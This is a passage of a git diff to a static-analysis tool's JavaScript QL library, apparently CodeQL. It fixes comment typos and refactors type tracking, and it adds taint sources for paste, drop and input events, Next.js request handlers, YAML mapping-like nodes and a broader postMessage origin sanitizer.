index 967729d3fd4..e617f597870 100644
--- a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll
+++ b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll
@@ -420,7 +420,7 @@ module AccessPath {
    */
   module DominatingPaths {
     /**
-     * A classification of acccess paths into reads and writes.
+     * A classification of access paths into reads and writes.
      */
     private newtype AccessPathKind =
       AccessPathRead() or
diff --git a/javascript/ql/lib/semmle/javascript/NodeModuleResolutionImpl.qll b/javascript/ql/lib/semmle/javascript/NodeModuleResolutionImpl.qll
index 6df85792a56..26aa1163e7e 100644
--- a/javascript/ql/lib/semmle/javascript/NodeModuleResolutionImpl.qll
+++ b/javascript/ql/lib/semmle/javascript/NodeModuleResolutionImpl.qll
@@ -96,7 +96,7 @@ File resolveMainModule(PackageJson pkg, int priority) {
     or
     result = tryExtensions(main.resolve(), "index", priority)
     or
-    not exists(main.resolve()) and
+    not main.resolve() instanceof File and
     exists(int n | n = main.getNumComponent() |
       result = tryExtensions(main.resolveUpTo(n - 1), getStem(main.getComponent(n - 1)), priority)
     )
diff --git a/javascript/ql/lib/semmle/javascript/PrintAst.qll b/javascript/ql/lib/semmle/javascript/PrintAst.qll
index f60b19ccb4e..3da7eac2de2 100644
--- a/javascript/ql/lib/semmle/javascript/PrintAst.qll
+++ b/javascript/ql/lib/semmle/javascript/PrintAst.qll
@@ -193,7 +193,7 @@ private module PrintJavaScript {
 
     /**
      * Gets the `i`th child of `element`.
-     * Can be overriden in subclasses to get more specific behavior for `getChild()`.
+     * Can be overridden in subclasses to get more specific behavior for `getChild()`.
      */
     AstNode getChildNode(int childIndex) { result = getLocationSortedChild(element, childIndex) }
   }
diff --git a/javascript/ql/lib/semmle/javascript/Regexp.qll b/javascript/ql/lib/semmle/javascript/Regexp.qll
index fa9fe811be9..e683fb0db2a 100644
--- a/javascript/ql/lib/semmle/javascript/Regexp.qll
+++ b/javascript/ql/lib/semmle/javascript/Regexp.qll
@@ -1309,7 +1309,7 @@ module RegExp {
   }
 
   /**
-   * Holds if `term` can match any occurence of `char` within a string (not taking into account
+   * Holds if `term` can match any occurrence of `char` within a string (not taking into account
    * the context in which `term` appears).
    *
    * This predicate is under-approximate and never considers sequences to guarantee a match.
diff --git a/javascript/ql/lib/semmle/javascript/Variables.qll b/javascript/ql/lib/semmle/javascript/Variables.qll
index 73292cfed40..ce2ab2140a9 100644
--- a/javascript/ql/lib/semmle/javascript/Variables.qll
+++ b/javascript/ql/lib/semmle/javascript/Variables.qll
@@ -226,7 +226,7 @@ class ArgumentsVariable extends Variable {
  */
 class VarRef extends @varref, Identifier, BindingPattern, LexicalRef {
   /** Gets the variable this identifier refers to. */
-  override Variable getVariable() { none() } // Overriden in VarAccess and VarDecl
+  override Variable getVariable() { none() } // Overridden in VarAccess and VarDecl
 
   override string getName() { result = Identifier.super.getName() }
 
diff --git a/javascript/ql/lib/semmle/javascript/YAML.qll b/javascript/ql/lib/semmle/javascript/YAML.qll
index ac1ac8380e4..49e0d28ae28 100644
--- a/javascript/ql/lib/semmle/javascript/YAML.qll
+++ b/javascript/ql/lib/semmle/javascript/YAML.qll
@@ -441,3 +441,74 @@ class YAMLParseError extends @yaml_error, Error {
 
   override string toString() { result = this.getMessage() }
 }
+
+/**
+ * A YAML node that may contain sub-nodes that can be identified by a name.
+ * I.e. a mapping, sequence, or scalar.
+ *
+ * Is used in e.g. GithHub Actions, which is quite flexible in parsing YAML.
+ *
+ * For example:
+ * ```
+ * on: pull_request
+ * ```
+ * and
+ * ```
+ * on: [pull_request]
+ * ```
+ * and
+ * ```
+ * on:
+ *   pull_request:
+ * ```
+ *
+ * are equivalent.
+ */
+class YAMLMappingLikeNode extends YAMLNode {
+  YAMLMappingLikeNode() {
+    this instanceof YAMLMapping
+    or
+    this instanceof YAMLSequence
+    or
+    this instanceof YAMLScalar
+  }
+
+  /** Gets sub-name identified by `name`. */
+  YAMLNode getNode(string name) {
+    exists(YAMLMapping mapping |
+      mapping = this and
+      result = mapping.lookup(name)
+    )
+    or
+    exists(YAMLSequence sequence, YAMLNode node |
+      sequence = this and
+      sequence.getAChildNode() = node and
+      node.eval().toString() = name and
+      result = node
+    )
+    or
+    exists(YAMLScalar scalar |
+      scalar = this and
+      scalar.getValue() = name and
+      result = scalar
+    )
+  }
+
+  /** Gets the number of elements in this mapping or sequence. */
+  int getElementCount() {
+    exists(YAMLMapping mapping |
+      mapping = this and
+      result = mapping.getNumChild() / 2
+    )
+    or
+    exists(YAMLSequence sequence |
+      sequence = this and
+      result = sequence.getNumChild()
+    )
+    or
+    exists(YAMLScalar scalar |
+      scalar = this and
+      result = 1
+    )
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll
index d82a95943f1..826e5280ace 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll
@@ -1684,5 +1684,9 @@ class RegExpCreationNode extends DataFlow::SourceNode {
   }
 
   /** Gets a data flow node referring to this regular expression. */
-  DataFlow::SourceNode getAReference() { result = this.getAReference(DataFlow::TypeTracker::end()) }
+  cached
+  DataFlow::SourceNode getAReference() {
+    Stages::FlowSteps::ref() and
+    result = this.getAReference(DataFlow::TypeTracker::end())
+  }
 }
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll b/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
index 184e8a255a7..45a68e39357 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
@@ -1225,19 +1225,25 @@ module TaintTracking {
    * An equality test on `e.origin` or `e.source` where `e` is a `postMessage` event object,
    * considered as a sanitizer for `e`.
    */
-  private class PostMessageEventSanitizer extends AdditionalSanitizerGuardNode, DataFlow::ValueNode {
+  private class PostMessageEventSanitizer extends AdditionalSanitizerGuardNode {
     VarAccess event;
-    override EqualityTest astNode;
+    boolean polarity;
 
     PostMessageEventSanitizer() {
-      exists(string prop | prop = "origin" or prop = "source" |
-        astNode.getAnOperand().(PropAccess).accesses(event, prop) and
-        event.mayReferToParameter(any(PostMessageEventHandler h).getEventParameter())
+      event.mayReferToParameter(any(PostMessageEventHandler h).getEventParameter()) and
+      exists(DataFlow::PropRead read | read.accesses(event.flow(), ["origin", "source"]) |
+        exists(EqualityTest test | polarity = test.getPolarity() and this.getAstNode() = test |
+          test.getAnOperand().flow() = read
+        )
+        or
+        exists(InclusionTest test | polarity = test.getPolarity() and this = test |
+          test.getContainedNode() = read
+        )
       )
     }
 
     override predicate sanitizes(boolean outcome, Expr e) {
-      outcome = astNode.getPolarity() and
+      outcome = polarity and
       e = event
     }
 
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/StepSummary.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/StepSummary.qll
index 065bb1b75a8..460aa4f9ccc 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/internal/StepSummary.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/StepSummary.qll
@@ -56,6 +56,18 @@ private module Cached {
     exists(DataFlow::Node mid | pred.flowsTo(mid) | StepSummary::smallstep(mid, succ, summary))
   }
 
+  pragma[nomagic]
+  private DataFlow::Node getAGlobalStepPredecessor(string global) {
+    result = AccessPath::getAnAssignmentTo(global) and
+    AccessPath::isAssignedInUniqueFile(global)
+  }
+
+  pragma[nomagic]
+  private DataFlow::Node getAGlobalStepSuccessor(string global) {
+    result = AccessPath::getAReferenceTo(global) and
+    AccessPath::isAssignedInUniqueFile(global)
+  }
+
   /**
    * INTERNAL: Use `TypeBackTracker.smallstep()` instead.
    */
@@ -106,20 +118,10 @@ private module Cached {
     SharedTypeTrackingStep::step(pred, succ) and
     summary = LevelStep()
     or
-    // Store to global access path
-    exists(string name |
-      pred = AccessPath::getAnAssignmentTo(name) and
-      AccessPath::isAssignedInUniqueFile(name) and
-      succ = DataFlow::globalAccessPathRootPseudoNode() and
-      summary = StoreStep(name)
-    )
-    or
-    // Load from global access path
-    exists(string name |
-      succ = AccessPath::getAReferenceTo(name) and
-      AccessPath::isAssignedInUniqueFile(name) and
-      pred = DataFlow::globalAccessPathRootPseudoNode() and
-      summary = LoadStep(name)
+    summary = LevelStep() and
+    exists(string global |
+      pred = getAGlobalStepPredecessor(global) and
+      succ = getAGlobalStepSuccessor(global)
     )
     or
     // Store to non-global access path
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
index d6006545827..e86af94463f 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll
@@ -330,8 +330,6 @@ module ClientRequest {
      * A model of a URL request made using `require("needle")(...)`.
      */
     class PromisedNeedleRequest extends ClientRequest::Range {
-      DataFlow::Node url;
-
       PromisedNeedleRequest() { this = DataFlow::moduleImport("needle").getACall() }
 
       override DataFlow::Node getUrl() { result = this.getArgument(1) }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Clipboard.qll b/javascript/ql/lib/semmle/javascript/frameworks/Clipboard.qll
deleted file mode 100644
index be7e414eb28..00000000000
--- a/javascript/ql/lib/semmle/javascript/frameworks/Clipboard.qll
+++ /dev/null
@@ -1,63 +0,0 @@
-/**
- * Provides predicates for reasoning about clipboard data.
- */
-
-import javascript
-
-/**
- * Gets a jQuery "paste" event.
- * E.g. `e` in `$("#foo").on("paste", function(e) { ... })`.
- */
-private DataFlow::SourceNode jQueryPasteEvent(DataFlow::TypeTracker t) {
-  t.start() and
-  exists(DataFlow::CallNode call |
-    call = JQuery::objectRef().getAMethodCall(["bind", "on", "live", "one", "delegate"]) and
-    call.getArgument(0).mayHaveStringValue("paste")
-  |
-    result = call.getCallback(call.getNumArgument() - 1).getParameter(0)
-  )
-  or
-  exists(DataFlow::TypeTracker t2 | result = jQueryPasteEvent(t2).track(t2, t))
-}
-
-/**
- * Gets a DOM "paste" event.
- * E.g. `e` in `document.addEventListener("paste", e => { ... })`.
- */
-private DataFlow::SourceNode pasteEvent(DataFlow::TypeTracker t) {
-  t.start() and
-  exists(DataFlow::CallNode call | call = DOM::domValueRef().getAMemberCall("addEventListener") |
-    call.getArgument(0).mayHaveStringValue("paste") and
-    result = call.getCallback(1).getParameter(0)
-  )
-  or
-  t.start() and
-  result = jQueryPasteEvent(DataFlow::TypeTracker::end()).getAPropertyRead("originalEvent")
-  or
-  exists(DataFlow::TypeTracker t2 | result = pasteEvent(t2).track(t2, t))
-}
-
-/**
- * Gets a reference to the clipboardData DataTransfer object.
- * https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent/clipboardData
- */
-private DataFlow::SourceNode clipboardDataTransferSource(DataFlow::TypeTracker t) {
-  t.start() and
-  exists(DataFlow::PropRead read | read = result |
-    read.getPropertyName() = "clipboardData" and
-    read.getBase().getALocalSource() = pasteEvent(DataFlow::TypeTracker::end())
-  )
-  or
-  exists(DataFlow::TypeTracker t2 | result = clipboardDataTransferSource(t2).track(t2, t))
-}
-
-/**
- * A reference to data from the clipboard. Seen as a source for DOM-based XSS.
- */
-private class ClipboardSource extends RemoteFlowSource {
-  ClipboardSource() {
-    this = clipboardDataTransferSource(DataFlow::TypeTracker::end()).getAMethodCall("getData")
-  }
-
-  override string getSourceType() { result = "Clipboard data" }
-}
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/CryptoLibraries.qll b/javascript/ql/lib/semmle/javascript/frameworks/CryptoLibraries.qll
index 617d1720ab1..9dcd4d9fbb9 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/CryptoLibraries.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/CryptoLibraries.qll
@@ -683,8 +683,6 @@ private module ExpressJwt {
  */
 private module NodeRsa {
   private class CreateKey extends CryptographicKeyCreation, API::InvokeNode {
-    CryptographicAlgorithm algorithm;
-
     CreateKey() {
       this = API::moduleImport("node-rsa").getAnInstantiation()
       or
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/DomEvents.qll b/javascript/ql/lib/semmle/javascript/frameworks/DomEvents.qll
new file mode 100644
index 00000000000..7fb13d56f08
--- /dev/null
+++ b/javascript/ql/lib/semmle/javascript/frameworks/DomEvents.qll
@@ -0,0 +1,103 @@
+/**
+ * Provides predicates for reasoning about events from the DOM that introduce tainted data.
+ */
+
+import javascript
+
+/** Gets the name of a DOM event that might introduce tainted data. */
+private string getATaintedDomEvent() { result = ["paste", "drop", "beforeinput"] }
+
+/**
+ * Gets a jQuery event that might introduce tainted data.
+ * E.g. `e` in `$("#foo").on("paste", function(e) { ... })`.
+ */
+private DataFlow::SourceNode taintedJQueryEvent(DataFlow::TypeTracker t, string event) {
+  t.start() and
+  exists(DataFlow::CallNode call |
+    call = JQuery::objectRef().getAMethodCall(["bind", "on", "live", "one", "delegate"]) and
+    call.getArgument(0).mayHaveStringValue(event) and
+    event = getATaintedDomEvent()
+  |
+    result = call.getCallback(call.getNumArgument() - 1).getParameter(0)
+  )
+  or
+  exists(DataFlow::TypeTracker t2 | result = taintedJQueryEvent(t2, event).track(t2, t))
+}
+
+/**
+ * Gets a DOM event that might introduce tainted data.
+ * E.g. `e` in `document.addEventListener("paste", e => { ... })`.
+ */
+private DataFlow::SourceNode taintedEvent(DataFlow::TypeTracker t, string event) {
+  t.start() and
+  exists(DataFlow::CallNode call | call = DOM::domValueRef().getAMemberCall("addEventListener") |
+    call.getArgument(0).mayHaveStringValue(event) and
+    event = getATaintedDomEvent() and
+    result = call.getCallback(1).getParameter(0)
+  )
+  or
+  t.start() and
+  exists(DataFlow::ParameterNode pn | result = pn |
+    // https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent
+    pn.hasUnderlyingType("ClipboardEvent") and
+    event = "paste"
+    or
+    // https://developer.mozilla.org/en-US/docs/Web/API/DragEvent
+    pn.hasUnderlyingType("DragEvent") and
+    event = "drop"
+    or
+    // https://developer.mozilla.org/en-US/docs/Web/API/InputEvent
+    pn.hasUnderlyingType("InputEvent") and
+    event = "beforeinput"
+  )
+  or
+  t.start() and
+  exists(DataFlow::PropWrite pw | pw = DOM::domValueRef().getAPropertyWrite("on" + event) |
+    event = ["paste", "drop"] and // doesn't work for beforeinput, it's just not part of the API
+    result = pw.getRhs().getABoundFunctionValue(0).getParameter(0)
+  )
+  or
+  t.start() and
+  result = taintedJQueryEvent(DataFlow::TypeTracker::end(), event).getAPropertyRead("originalEvent")
+  or
+  exists(DataFlow::TypeTracker t2 | result = taintedEvent(t2, event).track(t2, t))
+}
+
+/**
+ * Gets a reference to a DataTransfer object.
+ * https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent/clipboardData
+ */
+private DataFlow::SourceNode taintedDataTransfer(DataFlow::TypeTracker t, string event) {
+  t.start() and
+  result = taintedEvent(DataFlow::TypeTracker::end(), event).getAPropertyRead("clipboardData") and
+  event = "paste"
+  or
+  t.start() and
+  result = taintedEvent(DataFlow::TypeTracker::end(), event).getAPropertyRead("dataTransfer") and
+  event = ["drop", "beforeinput"]
+  or
+  exists(DataFlow::TypeTracker t2 | result = taintedDataTransfer(t2, event).track(t2, t))
+}
+
+/**
+ * A reference to data from a DataTransfer object, which might originate from e.g. the clipboard.
+ * Seen as a source for DOM-based XSS.
+ */
+private class TaintedDataTransfer extends RemoteFlowSource {
+  string event;
+
+  TaintedDataTransfer() {
+    this = taintedDataTransfer(DataFlow::TypeTracker::end(), event).getAMethodCall("getData")
+  }
+
+  override string getSourceType() {
+    event = "paste" and
+    result = "Clipboard data"
+    or
+    event = "drop" and
+    result = "Drag&Drop data"
+    or
+    event = "beforeinput" and
+    result = "Input data"
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Fastify.qll b/javascript/ql/lib/semmle/javascript/frameworks/Fastify.qll
index a0007de194d..431007cd944 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Fastify.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Fastify.qll
@@ -413,7 +413,7 @@ module Fastify {
   /**
    * A call to `rep.view('file', { ... })`, seen as a template instantiation.
    *
-   * Assumes the presense of a plugin that provides the `view` method, such as the `point-of-view` plugin.
+   * Assumes the presence of a plugin that provides the `view` method, such as the `point-of-view` plugin.
    */
   private class ViewCall extends Templating::TemplateInstantiation::Range, DataFlow::CallNode {
     ViewCall() { this = any(ReplySource rep).ref().getAMethodCall("view") }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/JWT.qll b/javascript/ql/lib/semmle/javascript/frameworks/JWT.qll
index 21ac8aad249..48568450770 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/JWT.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/JWT.qll
@@ -5,7 +5,7 @@
 import javascript
 
 /**
- * Provides classes and predicates modeling the `jwt-decode` libary.
+ * Provides classes and predicates modeling the `jwt-decode` library.
  */
 private module JwtDecode {
   /**
@@ -23,7 +23,7 @@ private module JwtDecode {
 }
 
 /**
- * Provides classes and predicates modeling the `jsonwebtoken` libary.
+ * Provides classes and predicates modeling the `jsonwebtoken` library.
  */
 private module JsonWebToken {
   /**
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Koa.qll b/javascript/ql/lib/semmle/javascript/frameworks/Koa.qll
index b5c56a48cf9..f9519736b0e 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Koa.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Koa.qll
@@ -74,7 +74,7 @@ module Koa {
      * Gets a reference to a request parameter defined by this route handler.
      */
     DataFlow::Node getARequestParameterAccess() {
-      none() // overriden in subclasses.
+      none() // overridden in subclasses.
     }
 
     /**
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Next.qll b/javascript/ql/lib/semmle/javascript/frameworks/Next.qll
index 254901c1d7b..644754ce75e 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Next.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Next.qll
@@ -158,13 +158,37 @@ module NextJS {
     NextHttpRouteHandler() { this = getServerSidePropsFunction(_) or this = getInitialProps(_) }
   }
 
+  /**
+   * A function that handles both a request and response from Next.js, seen as a routehandler.
+   */
+  class NextReqResHandler extends HTTP::Servers::StandardRouteHandler, DataFlow::FunctionNode {
+    DataFlow::ParameterNode req;
+    DataFlow::ParameterNode res;
+
+    NextReqResHandler() {
+      res = this.getAParameter() and
+      req = this.getAParameter() and
+      req.hasUnderlyingType("next", "NextApiRequest") and
+      res.hasUnderlyingType("next", "NextApiResponse")
+    }
+
+    /** Gets the request parameter */
+    DataFlow::ParameterNode getRequest() { result = req }
+
+    /** Gets the response parameter */
+    DataFlow::ParameterNode getResponse() { result = res }
+  }
+
   /**
    * A NodeJS HTTP request object in a Next.js page.
    */
   class NextHttpRequestSource extends NodeJSLib::RequestSource {
-    NextHttpRouteHandler rh;
+    HTTP::RouteHandler rh;
 
-    NextHttpRequestSource() { this = rh.getParameter(0).getAPropertyRead("req") }
+    NextHttpRequestSource() {
+      this = rh.(NextHttpRouteHandler).getParameter(0).getAPropertyRead("req") or
+      this = rh.(NextReqResHandler).getRequest()
+    }
 
     override HTTP::RouteHandler getRouteHandler() { result = rh }
   }
@@ -173,9 +197,12 @@ module NextJS {
    * A NodeJS HTTP response object in a Next.js page.
    */
   class NextHttpResponseSource extends NodeJSLib::ResponseSource {
-    NextHttpRouteHandler rh;
+    HTTP::RouteHandler rh;
 
-    NextHttpResponseSource() { this = rh.getParameter(0).getAPropertyRead("res") }
+    NextHttpResponseSource() {
+      this = rh.(NextHttpRouteHandler).getParameter(0).getAPropertyRead("res") or
+      this = rh.(NextReqResHandler).getResponse()
+    }
 
     override HTTP::RouteHandler getRouteHandler() { result = rh }
   }
@@ -204,9 +231,9 @@ module NextJS {
     }
 
     override Parameter getRouteHandlerParameter(string kind) {
-      kind = "request" and result = getFunction().getParameter(0)
+      kind = "request" and result = this.getFunction().getParameter(0)
       or
-      kind = "response" and result = getFunction().getParameter(1)
+      kind = "response" and result = this.getFunction().getParameter(1)
     }
   }
 
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/lib/semmle/javascript/frameworks/NoSQL.qll
index 844a9e813cd..b04467a93ec 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/NoSQL.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/NoSQL.qll
@@ -4,7 +4,7 @@
 
 import javascript
 
-/** Provices classes for modelling NoSQL query sinks. */
+/** Provides classes for modeling NoSQL query sinks. */
 module NoSql {
   /** An expression that is interpreted as a NoSQL query. */
   abstract class Query extends Expr {
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
index 8f2576d58d4..2adc68f907a 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
@@ -168,9 +168,9 @@ module NodeJSLib {
     string kind;
 
     RequestInputAccess() {
-      // `req.url`
-      kind = "url" and
-      this.asExpr().(PropAccess).accesses(request, "url")
+      // `req.url` / `req.body`
+      kind = ["url", "body"] and
+      this.asExpr().(PropAccess).accesses(request, kind)
       or
       exists(PropAccess headers |
         // `req.headers.cookie`
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Redux.qll b/javascript/ql/lib/semmle/javascript/frameworks/Redux.qll
index 20222fa7842..fae5a1c76d7 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Redux.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Redux.qll
@@ -951,7 +951,7 @@ module Redux {
     )
   }
 
-  /** Gets the block to execute when `case` matches sucessfully. */
+  /** Gets the block to execute when `case` matches successfully. */
   private BasicBlock getCaseBlock(SwitchCase case) {
     result = case.getBodyStmt(0).getBasicBlock()
     or
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/RxJS.qll b/javascript/ql/lib/semmle/javascript/frameworks/RxJS.qll
index 4131b9bd61e..e9599912865 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/RxJS.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/RxJS.qll
@@ -45,7 +45,7 @@ private DataFlow::Node pipeOutput(DataFlow::CallNode pipe) {
 /**
  * Holds if `pipe` acts as the identity function for success values.
  *
- * We currently lack a data-flow node to represent its input/ouput so it must
+ * We currently lack a data-flow node to represent its input/output so it must
  * be special-cased.
  */
 private predicate isIdentityPipe(DataFlow::CallNode pipe) {
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll b/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
index 1f2d2b90dbf..8d062a447aa 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/Vuex.qll
@@ -227,7 +227,7 @@ module Vuex {
     result = getAMappedAccess(getMapHelperForCommitKind(kind), name).getParameter(0).getARhs()
   }
 
-  /** Gets a node that refers the payload of a comitted mutation with the given `name.` */
+  /** Gets a node that refers the payload of a committed mutation with the given `name.` */
   private DataFlow::Node committedPayloadSucc(string kind, string name) {
     // mutations: {
     //   name: (state, payload) => { ... }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/AccessPathSyntax.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/AccessPathSyntax.qll
index 3d40e04b815..076e12f2671 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/AccessPathSyntax.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/AccessPathSyntax.qll
@@ -167,9 +167,16 @@ class AccessPathToken extends string {
   /** Gets the `n`th argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getArgument(int n) { result = this.getArgumentList().splitAt(",", n).trim() }
 
+  /** Gets the `n`th argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  pragma[nomagic]
+  string getArgument(string name, int n) { name = this.getName() and result = this.getArgument(n) }
+
   /** Gets an argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getAnArgument() { result = this.getArgument(_) }
 
+  /** Gets an argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  string getAnArgument(string name) { result = this.getArgument(name, _) }
+
   /** Gets the number of arguments to this token, such as 2 for `Member[x,y]` or zero for `ReturnValue`. */
   int getNumArgument() { result = count(int n | exists(this.getArgument(n))) }
 }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModels.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModels.qll
index 4681c2b91a5..127d9ca5122 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModels.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModels.qll
@@ -59,7 +59,7 @@
  * A `(package,type)` pair may refer to a static type or a synthetic type name used internally in the model.
  * Synthetic type names can be used to reuse intermediate sub-paths, when there are multiple ways to access the same
  * element.
- * See `ModelsAsData.qll` for the langauge-specific interpretation of packages and static type names.
+ * See `ModelsAsData.qll` for the language-specific interpretation of packages and static type names.
  *
  * By convention, if one wants to avoid clashes with static types from the package, the type name
  * should be prefixed with a tilde character (`~`). For example, `(foo, ~Bar)` can be used to indicate that
@@ -396,7 +396,7 @@ predicate isValidTokenNameInIdentifyingAccessPath(string name) {
 }
 
 /**
- * Holds if `name` is a valid name for an access path token with no arguments, occuring
+ * Holds if `name` is a valid name for an access path token with no arguments, occurring
  * in an identifying access path.
  */
 bindingset[name]
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
index 752acea10c6..a5e366a671f 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll
@@ -4,12 +4,18 @@
  * It must export the following members:
  * ```ql
  * class Unit // a unit type
+ * module AccessPathSyntax // a re-export of the AccessPathSyntax module
+ * class InvokeNode // a type representing an invocation connected to the API graph
  * module API // the API graph module
  * predicate isPackageUsed(string package)
  * API::Node getExtraNodeFromPath(string package, string type, string path, int n)
  * API::Node getExtraSuccessorFromNode(API::Node node, AccessPathToken token)
- * API::Node getExtraSuccessorFromInvoke(API::InvokeNode node, AccessPathToken token)
- * predicate invocationMatchesExtraCallSiteFilter(API::InvokeNode invoke, AccessPathToken token)
+ * API::Node getExtraSuccessorFromInvoke(InvokeNode node, AccessPathToken token)
+ * predicate invocationMatchesExtraCallSiteFilter(InvokeNode invoke, AccessPathToken token)
+ * InvokeNode getAnInvocationOf(API::Node node)
+ * predicate isExtraValidTokenNameInIdentifyingAccessPath(string name)
+ * predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name)
+ * predicate isExtraValidTokenArgumentInIdentifyingAccessPath(string name, string argument)
  * ```
  */
 
@@ -227,7 +233,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
 }
 
 /**
- * Holds if `name` is a valid name for an access path token with no arguments, occuring
+ * Holds if `name` is a valid name for an access path token with no arguments, occurring
  * in an identifying access path.
  */
 predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll
index 28a01dba7ab..cc94c966c32 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll
@@ -307,7 +307,7 @@ private module JQueryClientRequest {
   }
 
   /**
-   * Gets a node refering to the response contained in an `jqXHR` object.
+   * Gets a node referring to the response contained in an `jqXHR` object.
    */
   private DataFlow::SourceNode getAResponseNodeFromAnXHRObject(DataFlow::SourceNode obj) {
     result =
@@ -406,11 +406,11 @@ module JQuery {
 
     private class DefaultRange extends Range {
       DefaultRange() {
-        // either a reference to a global variable `$` or `jQuery`
-        this = DataFlow::globalVarRef(any(string jq | jq = "$" or jq = "jQuery"))
+        // either a reference to a global variable `$`, `jQuery`, or `cash`
+        this = DataFlow::globalVarRef(["$", "jQuery", "cash"])
         or
-        // or imported from a module named `jquery` or `zepto`
-        this = DataFlow::moduleImport(["jquery", "zepto"])
+        // or imported from a module named `jquery`, `zepto`, or `cash-dom`
+        this = DataFlow::moduleImport(["jquery", "zepto", "cash-dom"])
         or
         this.hasUnderlyingType("JQueryStatic")
       }
diff --git a/javascript/ql/lib/semmle/javascript/frameworks/xUnit.qll b/javascript/ql/lib/semmle/javascript/frameworks/xUnit.qll
index e07bd29b3c3..0b2379dd6b1 100644
--- a/javascript/ql/lib/semmle/javascript/frameworks/xUnit.qll
+++ b/javascript/ql/lib/semmle/javascript/frameworks/xUnit.qll
@@ -19,7 +19,7 @@ private predicate xUnitDetected() {
 private predicate possiblyAttribute(Expr e, string name) {
   exists(Identifier id | id = e or id = e.(CallExpr).getCallee() |
     name = id.getName() and
-    name.regexpMatch("Async|Data|Fact|Fixture|Import|ImportJson|Skip|Trait")
+    name = ["Async", "Data", "Fact", "Fixture", "Import", "ImportJson", "Skip", "Trait"]
   )
 }
 
diff --git a/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll b/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
